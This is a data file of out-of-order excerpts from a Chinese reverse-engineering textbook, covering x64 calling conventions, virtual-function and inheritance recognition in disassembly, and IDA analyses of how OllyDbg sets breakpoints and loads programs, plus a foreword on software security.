    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 第13章 异常处理 C++标准中规定了异常处理的语法各编译器厂商必须遵守这些语法。因为C++标准中并没有规定异常处理的实现过程所以经不同厂商的编译器编译后产生的异常处理代码各不相同。GCC、Clang编译器的异常处理代码取决于使用的异常库因此本章主要针对VS编译器进行讲解。VS编译器的异常处理与Windows的SEH机制密切相关大家在学习本章之前应熟练掌握SEH机制。 C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 11.3 本章小结 虚函数在面向对象领域中的应用十分广泛可以说没有虚函数也就没有多态性更谈不上面向对象的软件设计了。虚函数在面向对象软件设计中无处不在。通过本章的介绍可知虚函数的调用不难识别如下所示。 00401092 mov ecx,dword ptr [ebp-14h] ; ecx得到this指针 00401095 mov edx,dword ptr [ecx] ; edx得到虚表指针 00401097 mov esi,esp 00401099 mov ecx,dword ptr [ebp-14h] ; 成员函数调用传递this指针 ; 关键这里是个间接调用且为成员函数可怀疑是虚函数 0040109C call dword ptr [edx+4] ; 64位应用程序同理有兴趣的读者可以尝试独立分析练习一下 如何确定[edx+4]是虚函数地址的呢证实edx是虚函数表的首地址是关键于是识别构造函数和析构函数尤为重要IDA的引用参考能给我们很大帮助。我们先假设edx是虚表指针然后查询引用参考。如果假设成立就能找到所有的构造函数和唯一的析构函数再看构造函数和析构函数是否满足第10章讨论的必要条件。充要条件都满足了就可以将其认定为虚函数同时找到所有的构造函数和唯一的析构函数。反之如果假设不成立那就应该怀疑是开发者自定义的函数指针数组。 关于atexit的实现原理请查阅VS2019安装目录下的\\Community\\VC\\Tools\\MSVC\\ 14.22.27905\\crt\\src\\vcruntime\\utility.cpp文件。如果程序存在全局对象、静态对象或者调用了atexit函数那么在执行_initterm函数(**it)()的时候会执行_register_onexit_function函数这个函数用于注册终止函数这个终止函数由_onexit函数负责维护。在main()函数退出后调用exit函数exit函数又会调用_execute_onexit_table。在_execute_onexit_table函数内遍历终止所有终止函数。请读者阅读源码文件VS2019 SDK目录下的\\Source\\10.0.10240.0\\ucrt\\startup\\onexit.cpp或者单步跟入_initterm和atexit对此代码进行分析印证。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 6.6 x64调用约定 x86应用程序的函数调用有__stdcall、__cdecl、__fastcall等方式但x64应用程序只有1种寄存器快速调用约定。"},
    {"text": "前4个参数使用寄存器传递如果参数超过4个多余的参数就放在栈里参数传递顺序为从右到左由函数调用方平衡栈空间。 前4个参数存放的寄存器是固定的分别是第1个参数RCX、第2个参数RDX、第3个参数R8、第4个参数R9其他参数从右往左依次入栈。"},
    {"text": "表6-1 x64应用程序前4个参数的调用约定 注意如果参数既有浮点类型又有整数类型如void fun(float, int, float,int)那么参数传递顺序为第1个参数XMM0、第2个参数RDX、第3个参数XMM2、第4个参数R9。"},
    {"text": "还有一点需要注意函数的前4个参数虽然使用寄存器传递但是栈中仍然为这4个参数预留了空间32字节为方便描述这里称之为栈预留空间。 因为在x64环境里前4个参数使用寄存器传递那么在函数内部这4个寄存器就不能使用了所以相当于函数少了4个可用的通用寄存器。"},
    {"text": "为了避免这个问题可以使用预留栈空间方法是函数调用者多申请32字节的栈空间当函数寄存器不够时可以把寄存器的值保存到刚才申请的栈空间中。 预留栈空间由函数调用者提前申请也由函数调用者负责平衡栈空间。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 第三部分 逆向分析技术应用 这是本书的最后一部分以理论与实践相结合的方式通过对具体程序的分析来加深大家对前面所学理论知识的理解从而快速积累实战经验。通过这部分内容的学习大家可以领略逆向分析技术的魔力。 C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 第15章 调试器OllyDbg的工作原理分析 在Windows平台下大家耳熟能详的调试器当属OllyDbg为了能够更加熟练地运用它了解其工作原理是必不可少的。本章将对OllyDbg的断点工作原理、异常处理机制、调试文件的加载流程等内容进行详细分析。 OllyDbg的断点功能是基于异常处理实现的通过捕获程序执行过程中的异常信息中断程序的执行流程。OllyDbg常用的断点类型有3种INT3断点、内存断点、硬件断点。每种断点都是一种制造异常的方法首先使程序在运行过程中产生错误然后由OllyDbg的异常处理接管异常从而实现断点的功能。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 15.3 硬件断点 前面分析的两种断点都是通过软件的方式实现的而硬件断点则是由CPU实现的。"},
    {"text": "硬件断点的实现过程由CPU中的调试寄存器完成。 硬件断点监控的断点长度有限分别为1、2、4因为调试寄存器中只使用了2位数据保存断点长度所以有了下面这样的记录。 在调试寄存器中使用3位数据记录断点的状态根据不同数据位的组成描述硬件断点的状态信息如下所示。"},
    {"text": "0000——保留暂时无用 0011——执行断点 0102——访问断点 0113——写入断点 1004——保留暂时无用 1015——临时断点 1106——保留暂时无用 1117——保留暂时无用 使用IDA对OllyDbg进行分析硬件断点的实现流程分为两部分一部分为设置硬件断点_Sethardwarebreakpoint另一部分为删除硬件断点_Deletehardwarebreakpoint。"},
    {"text": "硬件断点的实现过程主要依赖GetThreadContext和SetThreadContext两个函数。 首先通过GetThreadContext获取当前线程中寄存器的信息再通过SetThreadContext设置当前线程中寄存器的信息完成对调试寄存器的修改以实现硬件断点。 前面分析了硬件断点的设置过程接下来分析硬件断点的删除过程见代码清单15-8对函数_Deletehardwarebreakpoint的分析。"},
    {"text": "代码清单15-8 _Deletehardwarebreakpoint分析IDA分析 _Deletehardwarebreakpoint proc near 004089EC Context = CONTEXT ptr -2D8h 004089EC var_C = dword ptr -0Ch 004089EC var_8 = dword ptr -8 004089EC var_4 = dword ptr -4 004089EC arg_0 = dword ptr 8 ; 保存硬件断点信息表序号 ; 部分代码分析略 004089FF mov eax, [ebp+arg_0] 00408A02 jz short loc_408A0D 00408A04 test eax, eax ; 检查断点表序号值是否小于0 00408A06 jl short loc_408A0D 00408A08 cmp eax, 4 ; 检查断点表序号值是否大于4 00408A0B jl short loc_408A15 loc_408A0D: ; 地址标号结束函数调用 00408A0D or eax, 0FFFFFFFFh ; 设置返回值 00408A10 jmp loc_408BFE ; 错误序号值结束函数调用 loc_408A15: ; 地址标号 ; 标号计算部分略edx中保存下标值ecx被清0 00408A20 mov dword_4D8D70[edx*4], ecx ; 清空硬件断点首地址 00408A27 xor ecx, ecx 00408A29 mov dword_4D8D74[edx*4], ecx ; 清空硬件断点的长度 00408A30 mov dword_4D8D78[edx*4], eax ; 清空硬件断点的标志 00408A37 cmp dword_4D5A5C, 3 ; 检测进程是否还在运行 00408A3E jnz loc_408BFC ; 未运行则跳转结束函数调用 00408A44 mov edx, dword_4D7DB0 00408A4A mov [ebp+var_8], edx 00408A4D cmp [ebp+var_8], 0 ; 查看线程信息是否存在 00408A51 jnz short loc_408A66 ; 删除硬件断点错误提示信息部分的代码分析略 loc_408A70: ; 循环遍历线程并暂停线程 ; 获取线程信息部分的代码分析略 00408A72 push eax ; hThread 00408A73 call SuspendThread ; 暂停线程将线程挂起 ; 部分代码分析略 loc_408A7F: 00408A7F cmp ebx, dword_4D7D98 ; 检查是否遍历了所有线程 00408A85 jl short loc_408A70 ; 若没有遍历完则继续循环遍历线程 ; 部分代码分析略 loc_408A97: ; 地址标号 00408A97 mov [ebp+Context.ContextFlags], 10010h 00408AA1 lea ecx, [ebp+Context] 00408AA7 push ecx ; lpContext 00408AA8 mov eax, [ebp+var_C] 00408AAB mov edx, [eax] 00408AAD push edx ; hThread 00408AAE call GetThreadContext ; 获取线程环境信息 00408AB3 test eax, eax 00408AB5 jz loc_408BC7 00408ABB mov ecx, dword_4D8D70 00408AC1 mov eax, dword_4D8D8C 00408AC6 mov [ebp+Context.Dr0], ecx ; 修改线程环境信息 00408ACC mov [ebp+Context.Dr1], eax 00408AD2 mov edx, dword_4D8DA8 00408AD8 mov ecx, dword_4D8DC4 00408ADE mov eax, offset dword_4D8D78 00408AE3 mov [ebp+Context.Dr2], edx 00408AE9 xor edx, edx 00408AEB mov [ebp+Context.Dr3], ecx 00408AF1 mov esi, 400h loc_408AF6: ; 循环起始地址修改硬件断点表中的信息 00408AF6 cmp dword ptr [eax], 0 00408AF9 jz loc_408BA2 00408AFF mov ecx, edx 00408B01 add ecx, ecx 00408B03 mov edi, 1 00408B08 shl edi, cl 00408B0A or esi, edi 00408B0C mov ecx, [eax] 00408B0E cmp ecx, 7 ; switch 8 cases 00408B11 ja short loc_408B75 ; default 00408B13 jmp ds:off_408B1A[ecx*4] ; case块地址表 ; 这是switch跳转表对应07的硬件断点标识的处理主要是设置Context.Dr7 00408B1A off_408B1A dd offset loc_408B75 00408B1A dd offset loc_408B3A 00408B1A dd offset loc_408B48 00408B1A dd offset loc_408B57 00408B1A dd offset loc_408B66 00408B1A dd offset loc_408B3A 00408B1A dd offset loc_408B3A 00408B1A dd offset loc_408B3A ; case语句块的实现过程分析略 loc_408BA2: ; 地址标号 00408BA2 inc edx 00408BA3 add eax, 1Ch 00408BA6 cmp edx, 4 00408BA9 jl loc_408AF6 00408BAF mov [ebp+Context.Dr7], esi 00408BB5 lea eax, [ebp+Context] 00408BBB push eax ; lpContext 00408BBC mov edx, [ebp+var_C] 00408BBF mov ecx, [edx] 00408BC1 push ecx ; hThread 00408BC2 call SetThreadContext ; 设置线程环境 loc_408BC7: ; 地址标号 00408BC7 inc ebx 00408BC8 add [ebp+var_C], 66Ch loc_408BCF: ; 地址标号 00408BCF cmp ebx, dword_4D7D98 ; 检查是否设置了所有线程 00408BD5 jl loc_408A97 ; 若没有全部设置则跳转回循环起始处 00408BDB xor ebx, ebx 00408BDD mov eax, [ebp+var_8] 00408BE0 lea esi, [eax+0Ch] 00408BE3 jmp short loc_408BF4 ; 开始设置线程断点 loc_408BE5: ; 地址标号循环结构起始地址 00408BE5 mov eax, [esi] 00408BE7 push eax ; hThread 00408BE8 call ResumeThread ; 恢复挂起线程 00408BED inc ebx 00408BEE add esi, 66Ch loc_408BF4: ; 地址标号 00408BF4 cmp ebx, dword_4D7D98 ; 检查是否恢复了所有线程 00408BFA jl short loc_408BE5 ; 若没有则跳转到循环起始处 loc_408BFC: ; 地址标号 00408BFC xor eax, eax loc_408BFE: ; 地址标号 ; 还原环境的代码的分析略 00408C04 retn _Deletehardwarebreakpoint endp 代码清单15-8分析了硬件断点的删除过程这一过程与设置硬件断点的过程相似只是将设置硬件断点时修改的线程环境信息恢复到原始状态。"},
    {"text": "代码清单15-7中省略了对硬件断点设置过程的分析实际上设置硬件断点的过程与删除硬件断点类似读者可对照硬件断点的删除过程分析硬件断点的设置过程。"},
    {"text": "在掌握了OllyDbg断点设置的相关知识后大家就可以制作自己的MyOllyDbg了。 设置好断点以后OllyDbg又是如何捕获并处理它们的呢15.4节将对这部分内容进行分析。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 15.5 加载调试程序 调试程序的第一步是使用OllyDbg对程序进行加载加载过程是通过创建新进程完成的。 OllyDbg通过CreateProcess以调试方式开启新进程调试程序的加载过程需要监视此API在调用处查看OllyDbg文件的加载流程具体分析如代码清单15-13所示。 代码清单15-13 OllyDbg文件的加载流程IDA分析 loc_477928: ; 地址标号加载调试程序 00477928 lea edx, [ebp+ProcessInformation] 0047792E lea ecx, [ebp+StartupInfo] 00477934 push edx ; lpProcessInformation 00477935 push ecx ; lpStartupInfo 00477936 lea eax, [ebp+path] 0047793C lea ecx, [ebp+CommandLine] 00477942 push eax ; lpCurrentDirectory 00477943 push 0 ; lpEnvironment 00477945 mov edx, [ebp+var_4] 00477948 or edx, 4000022h 0047794E push edx ; dwCreationFlags控制级别 0047794F push 0 ; bInheritHandles 00477951 push 0 ; lpThreadAttributes 00477953 push 0 ; lpProcessAttributes 00477955 push ecx ; lpCommandLine调试进程路径 00477956 push 0 ; lpApplicationName 00477958 call CreateProcessA ; 开启调试进程 0047795D test eax, eax ; 检查创建结果 0047795F jnz short loc_47797F ; 成功跳转开始调试程序 ; 错误代码分析略 在代码清单15-13中创建了调试程序的新进程在这之前OllyDbg还需要进行一些必要的检查工作如调试进程路径的获取、是否为合法的调试文件等相关信息。"},
    {"text": "代码清单15-14 OpenEXEfile分析片段1IDA分析 ; int __cdecl OpenEXEfile(LPCSTR arglist, int) ; 函数原型 _OpenEXEfile proc near ; 函数入口 0047731C var_1D2C = byte ptr -1D2Ch ; 局部变量、参数标号定义略 0047731C arg_4 = dword ptr 0Ch ; 部分代码分析略 00477342 push edx ; 保存后缀名 00477343 push 0 00477345 push 0 00477347 push 0 00477349 push ebx ; 加载程序全路径 0047734A call j___fnsplit ; 提取后缀名 0047734F add esp, 14h 00477352 lea ecx, [esi+701h] 00477358 push ecx ; 保存字符串“.lnk” 00477359 lea eax, [ebp+s1] 0047735F push eax ; 获取调试程序后缀名 00477360 call _stricmp 00477365 add esp, 8 00477368 test eax, eax ; 检查是否为快捷方式 0047736A jnz loc_477485 ; 不是后缀名则跳转 ; 通过快捷方式找到对应的可执行文件路径获取过程分析略 ; 路径检查部分分析略 loc_4774C0: ; 地址标号打开调试文件 004774C0 lea edx, [esi+75Ah] 004774C6 push edx ; 文件打开标记“rb” 004774C7 lea ecx, [ebp+String] 004774CD push ecx ; 打开文件路径 004774CE call _fopen ; 打开文件 004774D3 add esp, 8 004774D6 mov edi, eax 004774D8 test edi, edi ; 检查文件是否成功打开 004774DA jnz short loc_4774E3 ; 若成功打开则跳转 004774DC mov ebx, 1 004774E1 jmp short loc_4774E5 loc_4774E3: ; 地址标号打开文件成功处理 004774E3 xor ebx, ebx loc_4774E5: ; 地址标号读取打开文件 004774E5 test ebx, ebx 004774E7 jnz short loc_477507 004774E9 push edi ; 文件指针 004774EA push 40h ; n 004774EC push 1 ; size 004774EE lea eax, [ebp+ptr] 004774F4 push eax ; 存放读取信息 004774F5 call _fread ; 读取文件 004774FA add esp, 10h 004774FD cmp eax, 40h ; 检查读取字节数是否为0x40 00477500 jz short loc_477507 ; 若成功则跳转到DOS头并进行检查 00477502 mov ebx, 1 ; DOS头检查首地址字符串是否为MZ分析略 ; 根据DOS头中的记录找到NT头结构再次检查查看是否为合法的PE文件格式 ; 对NT头结构的检查分析略 loc_4775F7: ; 地址标号关闭打开的文件 004775F7 test edi, edi 004775F9 jz short loc_477602 004775FB push edi ; 文件指针 004775FC call _fclose ; 关闭文件 00477601 pop ecx 根据代码清单15-14的分析函数OpenEXEfile的第一部分检查工作是针对快捷方式的检查。"},
    {"text": "代码清单15-15 OpenEXEfile分析片段2IDA分析 loc_477625: ; 地址标号 00477625 cmp ebx, 2 ; ebx保存PE文件的类型 ; 相关检查分析略 loc_4776C3: ; DLL文件处理 004776C3 mov edx, [ebp+var_14] 004776C6 test byte ptr [edx+13h], 20h 004776CA jz short loc_477722 004776CC cmp [ebp+arg_4], 0FFFFFFFFh 004776D0 jz short loc_47771B 004776D2 lea ecx, [ebp+String] 004776D8 push ecx 004776D9 lea eax, [esi+841h] 004776DF push eax ; 保存格式化信息 004776E0 lea edx, [ebp+buffer] 004776E6 push edx ; 保存字符串缓冲区 004776E7 call _sprintf ; 格式化字符串 004776EC add esp, 0Ch 004776EF lea ecx, [esi+89Fh] 004776F5 lea eax, [ebp+buffer] 004776FB mov edx, hWnd 00477701 push 2024h ; MB_OK|MB_ICONQUESTION|MB_TASKMODAL 00477706 push ecx ; lpCaption 00477707 push eax ; lpText 00477708 push edx ; hWnd 00477709 call MessageBoxA 0047770E cmp eax, 6 ; 比较选择结果 ; 如果分析文件为DLL进入DLL加载调试部分使用LoadDll.exe加载DLL文件 00477711 jz short loc_47771B 00477713 or eax, 0FFFFFFFFh 00477716 jmp loc_477A87 loc_47771B: ; 地址标号LoadDll.exe加载部分 0047771B mov [ebp+var_8], 1 ; 设置加载文件为DLL标识 loc_477722: 00477722 push 1 00477724 call sub_4758A4 ; 检查是否还有进程被加载调试将其关闭 00477729 pop ecx 0047772A test eax, eax ; 检查是否关闭成功 0047772C jz short loc_477736 ; 成功关闭执行跳转 0047772E or eax, 0FFFFFFFFh 00477731 jmp loc_477A87 ; 跳转到结束处 loc_477736: ; 地址标号 00477736 call ub_47540C ; 清除原调试程序中所有相关信息 0047773B test eax, eax ; 检查结果 0047773D jz short loc_477754 ; 成功跳转 ; 错误检查分析略 loc_477754: ; 地址标号 00477754 mov edx, [ebp+var_8] ; 保存DLL文件标识符 00477757 xor ecx, ecx 00477759 mov dword_4D6EA0, edx ; 保存DLL文件标识符 0047775F mov dword_4D6EA4, ecx 00477765 cmp dword_4D6EA0, 0 ; 检查是否为DLL文件 0047776C jz short loc_47778C ; 若不是DLL文件则跳过LoadDll.exe的检查 ; 判断OllyDbg是否与LoadDll在同一目录中若不在则释放一个LoadDll到目录下 0047776E call sub_40F40C 00477773 test eax, eax ; 检查结果 00477775 jge short loc_47778C ; 成功跳转 ; 通过全文件路径名来获取对应的文件夹检查调试程序的相关配置文件 ; 相关检查结束后根据PE文件类型设置命令行信息并加载调试程序代码分析略 代码清单15-15展示了PE文件类型的处理过程当调试文件为DLL动态库时OllyDbg会使用自带的LoadDll.exe加载DLL文件。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 5.9 本章小结 本章介绍了各类流程控制语句的识别方法和原理读者应多多体会识别其中的要点和优化思路并且以反汇编的注释为向导亲自上机进行验证加深理解后再多多阅读其他类似的源码。初学者可以先分析自己写的代码再进行印证慢慢再脱离源码尝试分析其他未公开源码的程序流程。按照这种方式不断“修炼”可以达到看反汇编代码如看武侠小说的境界。分析能力很大程度体现在分析效率上笔者只能教方法要想提高分析速度还需要读者多加强练习。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 序一 人类社会在经历了机械化、电气化之后进入了一个崭新的信息化时代。 在信息化时代电子信息产业成为世界第一大产业。信息就像水、电、石油一样与所有行业和所有人息息相关成为一种基础资源。信息和信息技术改变着人们的生活和工作方式。离开计算机、网络、电视和手机等电子信息设备人们将无法正常生活和工作。 在信息化时代计算机系统集中管理着政治、军事、金融、技术、商务等重要信息控制着军事装备、航空航天、工业系统等重要设施因而计算机系统成为不法分子的主要攻击目标。计算机系统本身的脆弱性和网络的开放性使得计算机系统的安全成为世人关注的社会问题。 当前的形势是一方面信息技术与产业空前繁荣另一方面危害信息安全的事件不断发生。敌对势力的破坏、网络战、病毒等恶意软件侵害、黑客攻击、利用计算机犯罪、网上有害信息泛滥、个人隐私泄露等对信息安全构成了极大威胁。因此信息安全的形势是严峻的。 信息论的基本观点告诉我们系统是载体信息是内涵信息不能脱离系统而孤立存在。因此我们应当从信息系统角度来看待和处理信息安全问题。任何信息系统都由硬件、软件和数据构成要确保信息系统安全就必须确保硬件安全、软件安全和数据安全。软件安全成为信息系统安全的重要方面。不能确保软件安全就无法保证信息系统安全也就不能保证信息安全。“软件定义一切”充分反映出软件在信息社会中发挥的巨大作用。然而只有软件是安全的软件设计的一切才可能是安全的。如果软件是不安全的则软件设计的一切肯定是不安全的。这就进一步说明软件安全的重要性。 因为软件在静态时表现为数据在动态执行时表现为行为所以软件安全既包含静态时的数据安全也包含动态时的行为安全。软件安全主要包括正确性无差错、稳定性、可靠性、完整性、行为预期性和行为可控性等方面。可见软件安全是十分复杂的确保软件安全是困难的。 软件工程告诉我们提高软件安全性的一种方法是对软件进行测试。其中包括知道源代码的“白盒”测试和不知道源代码的“黑盒”测试。如果能够在“黑盒”测试时设法掌握软件的部分代码对于提高测试效果是极有利的这就需要对软件进行逆向分析。 对软件进行逆向分析是通过阅读其反汇编代码推断其数据结构、体系结构和程序设计思路进而判断是否侵犯别人的知识产权是否有错误是否有后门是否有恶意行为等等。显然这对于学习先进软件技术确保软件安全性是极重要的一种方法。 经验告诉我们平均1000行代码中就可能有一个漏洞。如果漏洞被坏人利用造成的损失将是难以估量的显然在这种情形下软件逆向分析对确保我国信息安全是可以发挥积极作用的。 从方法论上来看网络空间安全学科的方法论包含以下四个步骤。 1理论分析。 2逆向分析。 3实验验证。 4技术实现。 其中逆向分析是网络空间安全学科特有的研究方法。据此软件逆向分析符合网络空间安全学科的方法论。因此软件逆向分析技术是网络空间安全学科所有科教工作者都应掌握并应用的。 目前国内由于缺少软件逆向分析技术的教材和师资只有少数大专院校开设了软件逆向分析的课程。多数院校的信息安全、网络空间安全、计算机等专业对软件逆向分析技术还没有给予足够的重视。社会迫切需要更多软件逆向分析技术的教材和资料要培养大批软件逆向分析技术的师资和技术人员。 2011年作者钱林松在机械工业出版社出版了著作《C++反汇编与逆向分析技术揭秘》。该书受到广大读者的喜爱。一转眼十年过去了软件逆向分析技术有了许多新发展社会也有了许多新需求。为了满足社会的需求与读者的渴望钱林松又推出了著作《C++反汇编与逆向分析技术揭秘第2版》。本书推陈出新新增了许多新技术、新工具和新应用并重新设计了所有的示例。书中内容新颖、案例丰富、叙述清楚、技术实用。相信这本新书一定能够得到广大读者的厚爱为推进我国软件逆向分析的技术进步和人才培养做出新贡献 钱林松是我国软件领域一个自学成材的传奇式“武林高手”。他中专放射物理专业毕业酷爱计算机软件专攻软件逆向分析技术经历了从中专到武汉大学硕士学位从业余爱好到专业开发从打工到自主创业从国内到国外再到国内的发展历程。在产品开发方面他在美国公司通过逆向分析改进产品获得北美分子影像学会展AMI一等奖。在软件逆向分析人才培训方面他已经培训了一千多名专业人才并在清华大学的培训班讲课一年。2020年他成为武汉大学兼职教师走上国家一流网络安全学院的讲台。 最后预祝《C++反汇编与逆向分析技术揭秘第2版》获得成功衷心感谢机械工业出版社和每一位读者 武汉大学国家网络安全学院 张焕国 2021年8月15日于武汉大学珞珈山"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 第12章 从内存角度看继承和多重继承 在C++中类之间的关系与现实社会非常相似。类的继承与派生是一个从抽象到具体的过程。 什么是从抽象到具体的过程呢我们以“表”为例表可以用来计时这是大家对表的第一印象。那么表是圆的还是方的体积是大还是小卖多少钱大家可能一时说不上来因为此时的“表”是一个抽象概念没有任何实体只是一个概念。这在面向对象领域中被称为抽象类抽象类同样没有实例。 以“表”为父类派生出“手表”手表类包含的信息就更多了。首先手表继承了表的功能在其基础上更加具体个头不会太大是戴在手上的由机芯、表盘、表带等组成……当然手表类也属于抽象类还是还不够具体。 接着继承手表类派生出“江诗丹顿牌Patrimony系列81180-000P-9539型手表”这就属于具体类了它当然拥有父类“手表”的所有特点同时还派生出更多数据以区别于其他品牌。当你想购买这款手表时销售员拿出另一款江诗丹顿牌某系列某型号的手表被你识破了这个识破过程就叫作RTTIRun-Time Type Identification运行时类型识别。你成功购买了“江诗丹顿牌Patrimony系列81180-000P-9539型手表”后经调试校正后戴在你手上的那块手表就是“江诗丹顿牌Patrimony系列81180-000P-9539型手表”类的产品之一在C++中这块表被称为实例也被称为对象。 抽象类没有实例例如“东西”可以泛指世间万物但是它过于抽象我们无法找到“东西”的实体。具体类可以存在实例如“江诗丹顿牌Patrimony系列81180-000P-9539型手表”存在具体的产品。 指向父类对象的指针除了可以操作父类对象外还能操作子类对象如“江诗丹顿手表属于手表”此逻辑正确。指向子类对象的指针不能操作父类对象如“手表属于江诗丹顿手表”此逻辑错误。 如果强制将父类对象的指针转换为子类对象的指针如下所示。 Derive *p = (Derive *)&base; // base 为父类对象Derive 继承自 base 这条语句虽然可以编译通过但是有潜在的危险。举个例子如果说“张三长得像张三他爹”张三和他爹都能接受但如果说“张三他爹长得像张三”虽然也可以但是不招人喜欢甚至可能会给你的人际关系带来潜在的危险。 介绍了以上的重要概念之后我们开始探索编译器实现这些知识点的技术内幕。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 12.1 识别类和类之间的关系 在C++的继承关系中子类具备父类所有成员数据和成员函数。"},
    {"text": "子类对象可以直接使用父类中声明为公有public和保护protected的数据成员与成员函数。 对于在父类中声明为私有private的成员虽然子类对象无法直接访问但是在子类对象的内存结构中父类私有的成员数据依然存在。"},
    {"text": "代码清单12-1 定义基类和派生类C++源码 //C++源码 #include <stdio.h> class Base { //基类定义 public: Base() { printf(\"Base\\n\"); } ~Base() { printf(\"~Base\\n\"); } void setNumber(int n) { base = n; } int getNumber() { return base; } public: int base; }; class Derive : public Base { //派生类定义 public: void showNumber(int n) { setNumber (n); derive = n + 1; printf(\"%d\\n\", getNumber()); printf(\"%d\\n\", derive); } public: int derive; }; int main(int argc, char* argv[]) { Derive derive; derive.showNumber(argc); return 0; } 代码清单12-1中定义了两个具有继承关系的类。"},
    {"text": "那么当申请子类对象Derive时它在内存中如何存储又如何使用父类成员函数呢调试代码清单12-1查看其内存结构及程序执行流程汇编代码如代码清单12-2所示。"},
    {"text": "代码清单12-2 调试分析Debug版 //x86_vs对应汇编代码讲解 00401000 push ebp 00401001 mov ebp, esp 00401003 sub esp, 0Ch 00401006 lea ecx, [ebp-0Ch] ;获取对象首地址作为this指针 00401009 call sub_401050 ;调用类Derive的构造函数编译器为Derive提供了默认的构造函数 0040100E mov eax, [ebp+8] 00401011 push eax ;参数2argc 00401012 lea ecx, [ebp-0Ch] ;参数1传入this指针 00401015 call sub_4010E0 ;调用成员函数showNumber 0040101A mov dword ptr [ebp-4], 0 00401021 lea ecx, [ebp-0Ch] ;传入this指针 00401024 call sub_401090 ;调用类Derive的析构函数编译器为Derive提供了默认的析构函数 00401029 mov eax, [ebp-4] 0040102C mov esp, ebp 0040102E pop ebp 0040102F retn 00401050 push ebp ;子类Derive的默认构造函数分析 00401051 mov ebp, esp 00401053 push ecx 00401054 mov [ebp-4], ecx 00401057 mov ecx, [ebp-4] ;以子类对象首地址作为父类的this指针 0040105A call sub_401030 ;调用父类构造函数 0040105F mov eax, [ebp-4] 00401062 mov esp, ebp 00401064 pop ebp 00401065 retn 00401090 push ebp ;子类Derive的默认析构函数分析 00401091 mov ebp, esp 00401093 push ecx 00401094 mov [ebp-4], ecx 00401097 mov ecx, [ebp-4] ;以子类对象首地址作为父类的this指针 0040109A call sub_401070 ;调用父类析构函数 0040109F mov esp, ebp 004010A1 pop ebp 004010A2 retn //x86_gcc对应汇编代码相似略 //x86_clang对应汇编代码相似略 //x64_vs对应汇编代码讲解 0000000140001000 mov [rsp+10h], rdx 0000000140001005 mov [rsp+8], ecx 0000000140001009 sub rsp, 38h 000000014000100D lea rcx, [rsp+28h] ;获取对象首地址作为this指针 0000000140001012 call sub_140001060 ;调用类Derive的构造函数编译器为Derive提供了默 ;认的构造函数 0000000140001017 mov edx, [rsp+40h] ;参数2argc 000000014000101B lea rcx, [rsp+28h] ;参数1传入this指针 0000000140001020 call sub_1400010F0 ;调用成员函数showNumber 0000000140001025 mov dword ptr [rsp+20h], 0 000000014000102D lea rcx, [rsp+28h] ;传入this指针 0000000140001032 call sub_1400010A0 ;调用类Derive的析构函数编译器为Derive提供了默 ;认的析构函数 0000000140001037 mov eax, [rsp+20h] 000000014000103B add rsp, 38h 000000014000103F retn 0000000140001060 mov [rsp+8], rcx ;子类Derive的默认构造函数分析 0000000140001065 sub rsp, 28h 0000000140001069 mov rcx, [rsp+30h] ;以子类对象首地址作为父类的this指针 000000014000106E call sub_140001040 ;调用父类构造函数 0000000140001073 mov rax, [rsp+30h] 0000000140001078 add rsp, 28h 000000014000107C retn 00000001400010A0 mov [rsp+8], rcx ;子类Derive的默认析构函数分析 00000001400010A5 sub rsp, 28h 00000001400010A9 mov rcx, [rsp+30h] ;以子类对象首地址作为父类的this指针 00000001400010AE call sub_140001080 ;调用父类析构函数 00000001400010B3 add rsp, 28h 00000001400010B7 retn //x64_gcc对应汇编代码相似略 //x64_clang对应汇编代码相似略 对代码清单12-2进行分析后发现编译器提供了默认构造函数与析构函数。"},
    {"text": "class Base{...}; //类定义见代码清单12-1 class Derive { public: Base base; //原来的父类Base 成为成员对象 int derive; // 原来的子类派生数据 }; 原来的父类Base成为Derive的一个成员对象当产生Derive类的对象时会先产生成员对象base这需要调用其构造函数。 当Derive类没有构造函数时为了能够在Derive类对象产生时调用成员对象的构造函数编译器同样会提供默认的构造函数以实现成员构造函数的调用。 但是如果子类含有构造函数而父类不存在构造函数则编译器不会为父类提供默认的构造函数。 在构造子类时因为父类中没有虚表指针也不存在构造祖先类的问题所以添加默认构造函数对父类没有任何意义。 父类中含有虚函数的情况则不同此时父类需要初始化虚表工作因此编译器会为其提供默认的构造函数以初始化虚表指针。 当子类对象被销毁时其父类也同时被销毁为了可以调用父类的析构函数编译器为子类提供了默认的析构函数。 在子类的析构函数中析构函数的调用顺序与构造函数相反先执行自身的析构代码再执行父类的析构代码。 依照构造函数与析构函数的调用顺序不仅可以顺藤摸瓜找出各类之间的关系还可以区别出构造函数与析构函数。"},
